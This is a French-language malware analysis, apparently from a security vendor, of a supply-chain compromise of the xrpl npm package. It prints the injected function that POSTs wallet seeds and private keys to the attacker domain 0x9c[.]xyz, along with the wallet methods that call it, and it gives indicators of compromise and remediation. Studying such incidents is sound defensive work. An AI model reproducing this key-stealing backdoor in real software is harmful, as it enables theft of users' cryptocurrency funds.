Le 21 avril, 20:53 GMT+0, notre système, Aikido Intel, a commencé à nous alerter sur cinq nouvelles versions du paquet xrpl. Il s'agit du SDK officiel pour le XRP Ledger, avec plus de 140 000 téléchargements hebdomadaires. Nous avons rapidement confirmé que le package officiel XPRL (Ripple) NPM a été compromis par des attaquants sophistiqués qui ont mis en place une porte dérobée pour voler les clés privées des crypto-monnaies et accéder aux portefeuilles de crypto-monnaies. Ce paquetage est utilisé par des centaines de milliers d'applications et de sites web, ce qui en fait une attaque de la chaîne d'approvisionnement potentiellement catastrophique pour l'écosystème des crypto-monnaies.
Voici le détail technique de la manière dont nous avons découvert l'attaque.

Nouveaux paquets publiés
L'utilisateur mukulljangid
a publié cinq nouvelles versions de la bibliothèque à partir du 21 avril, 20:53 GMT+0 :

Ce qui est intéressant, c'est que ces versions ne correspondent pas aux versions officielles telles que vues sur GitHub, où la dernière version est 4.2.0
:
.png)
Le fait que ces paquets soient apparus sans version correspondante sur GitHub est très suspect.
Le code mystérieux
Notre système a détecté un code étrange dans ces nouveaux paquets. Voici ce qu'il a identifié dans le fichier src/index.ts
fichier dans la version 4.2.4
(Qui est étiqueté comme le plus récent
) :
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
Tout semble normal jusqu'à la fin. Qu'est-ce que c'est ? vérification de la validité des semences
? Et pourquoi appelle-t-elle un domaine aléatoire appelé 0x9c[.]xyz
? Descendons dans le trou du lapin !
Quel est le domaine ?
Nous avons d'abord examiné le domaine pour déterminer s'il pouvait être légitime. Nous avons consulté les détails du whois :

Ce n'est donc pas terrible. C'est un tout nouveau domaine. Très suspect.
Que fait le code ?
Le code lui-même définit une méthode, mais il n'y a pas d'appel immédiat à cette méthode. Nous avons donc cherché à savoir si elle était utilisée quelque part. Et oui, c'est le cas !
.png)
Il est appelé dans des fonctions telles que le constructeur de l'application Portefeuille
classe (src/Wallet/index.ts
), volant les clés privées dès qu'un objet Wallet est instancié :
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}
Et ces fonctions :
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
}
private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
}
public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
}
public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
}
public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}
Pourquoi tant de changements de version ?
En examinant ces paquets, nous avons constaté que les deux premiers paquets publiés (4.2.1
et 4.2.2
) étaient différentes des autres. Nous avons fait une différence à trois voies sur les versions 4.2.0
(ce qui est légitime), 4.2.1
et 4.2.2
pour comprendre ce qui se passait. Voici ce que nous avons observé :
- À partir de
4.2.1
, lescripts
etplus beau
a été supprimée de la base de donnéespackage.json
. - La première version à insérer un code malveillant dans
src/Wallet/index.js
était4.2.2
. - Les deux
4.2.1
et4.2.2
contenait un fichier malveillantbuild/xrp-latest-min.js
etbuild/xrp-latest.js
.
Si l'on compare 4.2.2
à 4.2.3
et 4.2.4
Nous constatons d'autres changements malveillants. Auparavant, seul le code JavaScript emballé avait été modifié. Ces modifications comprennent également les changements malveillants apportés à la version TypeScript du code
- Le code indiqué précédemment devient
src/index.ts
. - Le code malveillant change pour
src/Wallet/index.ts
. - Au lieu d'insérer le code malveillant à la main dans les fichiers construits, la porte dérobée insérée dans le fichier
index.ts
est appelé.
Nous pouvons donc voir que l'attaquant travaillait activement sur l'attaque, essayant différentes façons d'insérer la porte dérobée tout en restant aussi caché que possible. Il est passé de l'insertion manuelle de la porte dérobée dans le code JavaScript construit, à son insertion dans le code TypeScript, puis à sa compilation dans la version construite.
Aikido Intel
Ce logiciel malveillant a été détecté par Aikido Intel, le flux de menaces public d'Aikido qui utilise des LLM pour surveiller les gestionnaires de paquets publics tels que NPM afin d'identifier lorsque du code malveillant est ajouté à des paquets nouveaux ou existants. Si vous souhaitez être protégé contre les logiciels malveillants et les vulnérabilités non divulguées, vous pouvez vous abonner au flux de menaces Intel ou vous inscrire à Aikido Security.
Indicateurs de compromis
Pour déterminer si vous avez été compromis, voici les indicateurs que vous pouvez utiliser :
Nom du paquet
xrpl
Versions du paquet
Vérifiez votre package.json
et package-lock.json
pour ces versions :
- 4.2.4
- 4.2.3
- 4.2.2
- 4.2.1
- 2.14.2
Faites attention si vous aviez le paquet comme dépendance qui n'était pas corrigée avec un fichier de verrouillage de paquet, ou si vous utilisiez un fichier spécification de la version approximative/compatible comme ~4.2.0
ou ^4.2.0
à titre d'exemple.
Si vous pensez avoir installé l'un des paquets susmentionnés entre le 21 avril, 20:53 GMT+0 et le 22 avril, 13:00 GMT+0, inspectez les journaux de votre réseau à la recherche de connexions sortantes vers l'hôte ci-dessous :
Domaine
- 0x9c[.]xyz
Remédiation
Si vous pensez avoir été touché, il est important de supposer que toute graine ou clé privée traitée par le code a été compromise. Ces clés ne doivent plus être utilisées et tous les actifs qui leur sont associés doivent être immédiatement transférés vers un autre porte-monnaie/clé. Depuis que le problème a été révélé, l'équipe xrpl a publié deux nouvelles versions pour remplacer les paquets compromis :
- 4.2.5
- 2.14.3